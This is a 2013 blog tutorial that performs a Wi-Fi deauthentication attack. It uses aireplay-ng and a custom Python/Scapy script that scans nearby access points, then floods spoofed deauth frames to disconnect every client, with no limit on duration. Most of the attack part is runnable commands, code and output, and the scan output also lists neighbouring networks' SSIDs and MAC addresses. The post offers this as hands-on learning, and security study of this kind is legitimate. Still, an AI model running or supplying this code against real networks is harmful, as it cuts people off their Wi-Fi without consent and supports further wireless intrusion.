Saturday, January 26, 2013

Wireless "Deauth" Attack using Aireplay-ng, Python, and Scapy

Introduction

A couple of days ago I received my order of a nifty Alfa AWUS036H and decided it'd be a perfect time to explore a few common wireless attacks. This post will explore how to perform a common "Deauthentication Attack" both the "easy" way using a fantastic tool called aireplay-ng, as well as writing our own tool in Python to perform the attack for us using the extremely powerful Scapy module. In this post I won't be going into detail about basic wireless mechanisms, but if you'd like a very comprehensive guide to understanding the topic, I really recommend the Wireless LAN Security and Penetration Testing Megaprimer on SecurityTube. With that said, let's deauth some clients.

Alfa AWUS036H
What are Deauth Attacks Used For?
Before we start performing deauth attacks, let's first get an understanding of what they can be used for. Obviously, the primary thing they can do is force stations (clients) off of a given network, causing a Denial of Service (DoS) attack. We can also use deauth attacks to reveal otherwise hidden SSIDs (not included in Beacon frames) by disconnecting the clients, and then monitoring for Probe Requests which always contain the SSID. 

Performing a Deauth Attack the "Easy" Way
Let's start by performing a deauth attack the "easy" way using tools already available in Backtrack. The first step will be to put our Alfa wireless card in "monitor mode". This will allow us to monitor all traffic detected without having to first associate with an access point.  This is important as it will allow us to deauth clients on a wireless network without being authenticated to it. We will use the tool "airmon-ng" to create a monitor mode interface as follows:

root@bt:~# ifconfig
<snip loopback>
wlan0 Link encap:Ethernet HWaddr 00:c0:ca:69:a3:8b
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@bt:~# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
523 dhclient3
628 dhclient3
1540 dhclient3
Process with PID 1540 (dhclient3) is running on interface wlan0
Interface Chipset Driver
wlan0 Realtek rtl8187 - [phy0]
(monitor mode enabled on mon0)
root@bt:~# ifconfig
<snip loopback>
mon0 Link encap:UNSPEC HWaddr 00-C0-CA-69-A3-8B-30-30-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:15 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:5085 (5.0 KB) TX bytes:0 (0.0 B)
wlan0 Link encap:Ethernet HWaddr 00:c0:ca:69:a3:8b
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
After we've created our monitor mode interface, we can use the tool "airodump-ng" to scan across different channels to enumerate both access points and their associated BSSID's as well as client stations, their MAC addresses, and any known SSIDs (found by monitoring Probe Requests).

root@bt:~# airodump-ng mon0
CH 6 ][ Elapsed: 17 mins ][ 2013-01-21 22:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E4:CE:8F:69:ED:7D -1 0 0 0 113 -1 <length: 0>
28:37:37:47:4B:0A -35 19 0 0 1 54e. WPA2 CCMP PSK Bill Wi the Science Fi
58:6D:8F:3B:96:F8 -9 27 3 0 11 54e WPA2 CCMP PSK raidersec
78:CA:39:41:F9:1F -47 17 0 0 1 54e. WPA2 CCMP PSK <length: 0>
A0:21:B7:7D:02:82 -48 15 2 0 6 54e WPA2 CCMP PSK <length: 6>
00:24:14:10:15:F0 -58 21 0 0 11 54e. WPA2 CCMP PSK <length: 1>
C0:3F:0E:1A:DF:22 -64 8 0 0 6 54e WPA TKIP PSK <length: 6>
68:7F:74:F9:B9:AC -68 1 4 0 6 54e. WPA2 CCMP PSK <length: 0>
00:24:14:11:59:C0 -1 0 2 0 128 -1 WPA <length: 0>
02:05:17:7D:0E:FC -1 9 0 0 11 11 OPN print server 5587C5
E0:F8:47:0C:9F:42 -64 10 1 0 11 54e WPA2 CCMP PSK MILKISGOOD
2C:41:38:43:65:0A -68 2 0 0 6 54e. WPA2 CCMP PSK HP-Print-0A-Photosmart 5520
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 6C:3E:6D:3A:15:79 -63 0 - 1 0 2 4610X WIRELESS PLUS,BakerBrosDeli
(not associated) 00:23:15:33:C2:60 -52 0 - 1 0 13 belkin.308
(not associated) 68:B5:99:35:C2:A3 -60 0 - 1 689 20 2WIRE854
(not associated) 00:20:00:BC:26:D5 -65 0 - 1 0 5
(not associated) 20:AA:4B:E4:F8:85 -66 0 - 1 0 2
(not associated) 2C:27:D7:8A:DD:E1 -67 0 - 1 0 2 NETGEAR04
(not associated) 2C:9E:FC:0E:EC:98 -62 0 - 1 293 13 BJNPSETUP
(not associated) 7C:1E:52:05:D7:78 -68 0 - 1 0 1 MM7MJ
(not associated) 1C:C1:DE:E3:5F:86 -38 0 - 1 245 94 2WIRE629
E4:CE:8F:69:ED:7D 10:40:F3:F1:43:4C -63 0 - 1 4 2
00:24:14:11:59:C0 54:04:A6:35:3E:9C -57 0 - 1e 0 8
02:05:17:7D:0E:FC 00:20:00:55:87:C5 -70 0 - 1 52 9
E0:F8:47:0C:9F:42 00:17:AB:61:81:DD -1 1 - 0 0 1
view raw airodump-ng hosted with ❤ by GitHub
Let's target the "raidersec" network. First, we see that the network is on channel 11, so we need to set both our wlan0 and mon0 interfaces to use this channel using the "iwconfig" command. Then, after grabbing the BSSID from airodump-ng (note: we could just use the ESSID, however we're trying to be comprehensive), we can use the tool "aireplay-ng" to inject deauthentication packets into the network by spoofing the BSSID of the access point. This will cause clients to disconnect from the network, and staying offline until we stop sending out deauth packets. Here's a sample session (you can't see it, but this does indeed disconnect all my devices connected to the "raidersec" network).

root@bt:~# iwconfig wlan0 channel 11
root@bt:~# iwconfig mon0 channel 11
root@bt:~# aireplay-ng --deauth 0 -a 58:6D:8F:3B:96:F8 mon0
23:03:26 Waiting for beacon frame (BSSID: 58:6D:8F:3B:96:F8) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
23:03:26 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:27 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:27 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:28 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:28 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
23:03:29 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
^C
view raw aireplay-ng hosted with ❤ by GitHub
Leveraging Scapy to Perform a Deauth Attack

Scapy is a very powerful Python module which allows us to sniff, create, manipulate, filter, and display network traffic down to the individual packet. You can find the basics of how to use Scapy here. We can leverage this functionality to create a tool which performs the same attack seen above. Let's see how we can implement this.

First, let's create a script which will print the BSSID and ESSID of all detected wireless networks. We will use the os module to perform channel hopping so that we can enumerate networks on multiple channels (note: this functionality was first seen on airoscapy.py). We will store all this information in a dictionary which associates the BSSID and channel with the found ESSID.

As a quick side note, you will note in airoscapy.py that the channel can be found by looking at the third Dot11Elt layer of the packet, and performing both the ord() and int() functions on it. This was a clever insight, and I wanted to make particular note of it. We can verify this from the following Wireshark capture of a beacon frame from our raidersec AP:



Here is the code to sniff for access points:

import argparse
from multiprocessing import Process
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import signal
import threading
def add_network(pckt, known_networks):
# Check to see if it's a hidden SSID (this could be resolved later using out Deauth attack)
essid = pckt[Dot11Elt].info if '\x00' not in pckt[Dot11Elt].info and pckt[Dot11Elt].info != '' else 'Hidden SSID'
bssid = pckt[Dot11].addr3
# This insight was included in airoscapy.py (http://www.thesprawl.org/projects/airoscapy/)
channel = int(ord(pckt[Dot11Elt:3].info))
if bssid not in known_networks:
known_networks[bssid] = ( essid, channel )
print "{0:5}\t{1:30}\t{2:30}".format(channel, essid, bssid)
# Channel hopper - This code is very similar to that found in airoscapy.py (http://www.thesprawl.org/projects/airoscapy/)
def channel_hopper(interface):
while True:
try:
channel = random.randrange(1,13)
os.system("iwconfig %s channel %d" % (interface, channel))
time.sleep(1)
except KeyboardInterrupt:
break
def stop_channel_hop(signal, frame):
# set the stop_sniff variable to True to stop the sniffer
global stop_sniff
stop_sniff = True
channel_hop.terminate()
channel_hop.join()
def keep_sniffing(pckt):
return stop_sniff
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='aircommand.py - Utilize many wireless security features using the Scapy python module')
parser.add_argument('-i', '--interface', dest='interface', type=str, required=True, help='Interface to use for sniffing and packet injection')
args = parser.parse_args()
networks = {}
stop_sniff = False
print 'Press CTRL+c to stop sniffing..'
print '='*100 + '\n{0:5}\t{1:30}\t{2:30}\n'.format('Channel','ESSID','BSSID') + '='*100
channel_hop = Process(target = channel_hopper, args=(args.interface,))
channel_hop.start()
signal.signal(signal.SIGINT, stop_channel_hop)
# Sniff Beacon and Probe Response frames to extract AP info
sniff( lfilter = lambda x: (x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp)), stop_filter=keep_sniffing, prn=lambda x: add_network(x,networks) )
view raw sniff_aps.py hosted with ❤ by GitHub
It's important to mention that this code implements Scapy sniff() function's "stop_filter" parameter, which was introduced in version 2.1.1. As of this writing, the version included in Backtrack is 2.0.1, so if you are using Backtrack, you will need to upgrade (or just patch your sendrecv.py file). Using this callback may seem somewhat unnecessary, but it will help in a big project I'm currently working on (and will release sometime soon! ).

Let's take a look at the output:

root@bt:/pentest/crux# python sniff-aps.py -i mon0
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:10: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import os, sys, math, socket, struct, sha, hmac, string, time
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:11: DeprecationWarning: The popen2 module is deprecated. Use the subprocess module.
import random, popen2, tempfile
Press CTRL+c to stop sniffing..
====================================================================================================
Channel ESSID BSSID
====================================================================================================
6 Hidden SSID a0:21:b7:7d:02:82
11 raidersec 58:6d:8f:3b:96:f8
1 Hidden SSID 78:ca:39:41:f9:1f
1 Bill Wi the Science Fi 28:37:37:47:4b:0a
1 Hidden SSID c8:60:00:95:45:26
1 TTUnet 02:2b:8b:c3:b0:c2
6 Hidden SSID c0:3f:0e:1a:df:22
6 TTUnet 00:24:14:11:2c:c0
6 HP-Print-D6-Deskjet 3520 series a0:b3:cc:d0:28:d6
6 HP-Print-0A-Photosmart 5520 2c:41:38:43:65:0a
6 HP-Print-10-Photosmart 5520 a0:b3:cc:d4:91:10
11 MILKISGOOD e0:f8:47:0c:9f:42
11 print server 5587C5 02:05:17:7d:0e:fc
11 Hidden SSID 00:24:14:10:15:f0
11 TTUnet 00:24:14:11:3b:10
11 Brianâs MacBook Pro b8:8d:12:42:fc:2c
11 TTUnet d8:c7:c8:18:93:30
11 TTUnet 00:24:14:11:8d:20
6 Hidden SSID 68:7f:74:f9:b9:ac
view raw sniff-output hosted with ❤ by GitHub
Nice. Now that we have a dictionary containing our BSSIDs, ESSIDs, and channels, let's add the ability to perform a deauth_attack() function will take in our dictionary entry for a particular BSSID as well as an optional client MAC address (for targeted attacks) and perform a deauth attack. We will use Scapy's layered packet construction to make our deauth packet and send it using the send() function. Let's first take a look at the perform_deauth() function:

def perform_deauth(bssid, client, count):
pckt = Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth()
cli_to_ap_pckt = None
if client != 'FF:FF:FF:FF:FF:FF' : cli_to_ap_pckt = Dot11(addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth()
print 'Sending Deauth to ' + client + ' from ' + bssid
if not count: print 'Press CTRL+C to quit'
# We will do like aireplay does and send the packets in bursts of 64, then sleep for half a sec or so
while count != 0:
try:
for i in range(64):
# Send out deauth from the AP
send(pckt)
# If we're targeting a client, we will also spoof deauth from the client to the AP
if client != 'FF:FF:FF:FF:FF:FF': send(cli_to_ap_pckt)
# If count was -1, this will be an infinite loop
count -= 1
except KeyboardInterrupt:
break
Now, here's the code we'll tack on to our main program flow to call the perform_deauth() function after getting relevant information from the user:

# Reset our signal handler
signal.signal(signal.SIGINT, signal.SIG_DFL)
target_bssid = raw_input('Enter a BSSID to perform an deauth attack (q to quit): ')
while target_bssid not in networks:
if target_bssid == 'q' : sys.exit(0)
raw_input('BSSID not detected... Please enter another (q to quit): ')
# Get our interface to the correct channel
print 'Changing ' + args.interface + ' to channel ' + str(networks[target_bssid][1])
os.system("iwconfig %s channel %d" % (args.interface, networks[target_bssid][1]))
# Now we have a bssid that we have detected, let's get the client MAC
target_client = raw_input('Enter a client MAC address (Default: FF:FF:FF:FF:FF:FF): ')
if not target_client: target_client = 'FF:FF:FF:FF:FF:FF'
deauth_pckt_count = raw_input('Number of deauth packets (Default: -1 [constant]): ')
if not deauth_pckt_count: deauth_pckt_count = -1
perform_deauth(target_bssid, target_client, deauth_pckt_count)
view raw add_to_main.py hosted with ❤ by GitHub
Finally, let's run it and see the output:

root@bt:/pentest/crux# python sniff-aps.py -i mon0
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:10: DeprecationWarning: the sha module is deprecated; use the hashlib module instead
import os, sys, math, socket, struct, sha, hmac, string, time
/usr/lib/pymodules/python2.6/scapy/crypto/cert.py:11: DeprecationWarning: The popen2 module is deprecated. Use the subprocess module.
import random, popen2, tempfile
Press CTRL+c to stop sniffing..
====================================================================================================
Channel ESSID BSSID
====================================================================================================
1 Hidden SSID 78:ca:39:41:f9:1f
1 Bill Wi the Science Fi 28:37:37:47:4b:0a
11 Hidden SSID 00:24:14:10:15:f0
11 raidersec 58:6d:8f:3b:96:f8
^CEnter a BSSID to perform an deauth attack (q to quit): 58:6d:8f:3b:96:f8
Changing mon0 to channel 11
Enter a client MAC address (Default: FF:FF:FF:FF:FF:FF):
Number of deauth packets (Default: -1 [constant]):
Sending Deauth to FF:FF:FF:FF:FF:FF from 58:6d:8f:3b:96:f8
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
<snip>
view raw final-output hosted with ❤ by GitHub
Worked like a charm! It disconnected all clients on the raidersec WLAN. You can find the full source here.

Scapy is an extremely powerful tool. By leveraging its packet sniffing and injecting capabilities, we can replicate many attacks on wireless infrastructure. I hope you enjoyed learning a little more about what Scapy has to offer, and as always don't hesitate to leave a comment below to let me know what you think!

-Jordan